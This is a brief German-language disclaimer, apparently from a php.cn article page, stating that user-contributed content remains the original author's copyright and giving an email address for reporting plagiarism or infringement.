Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn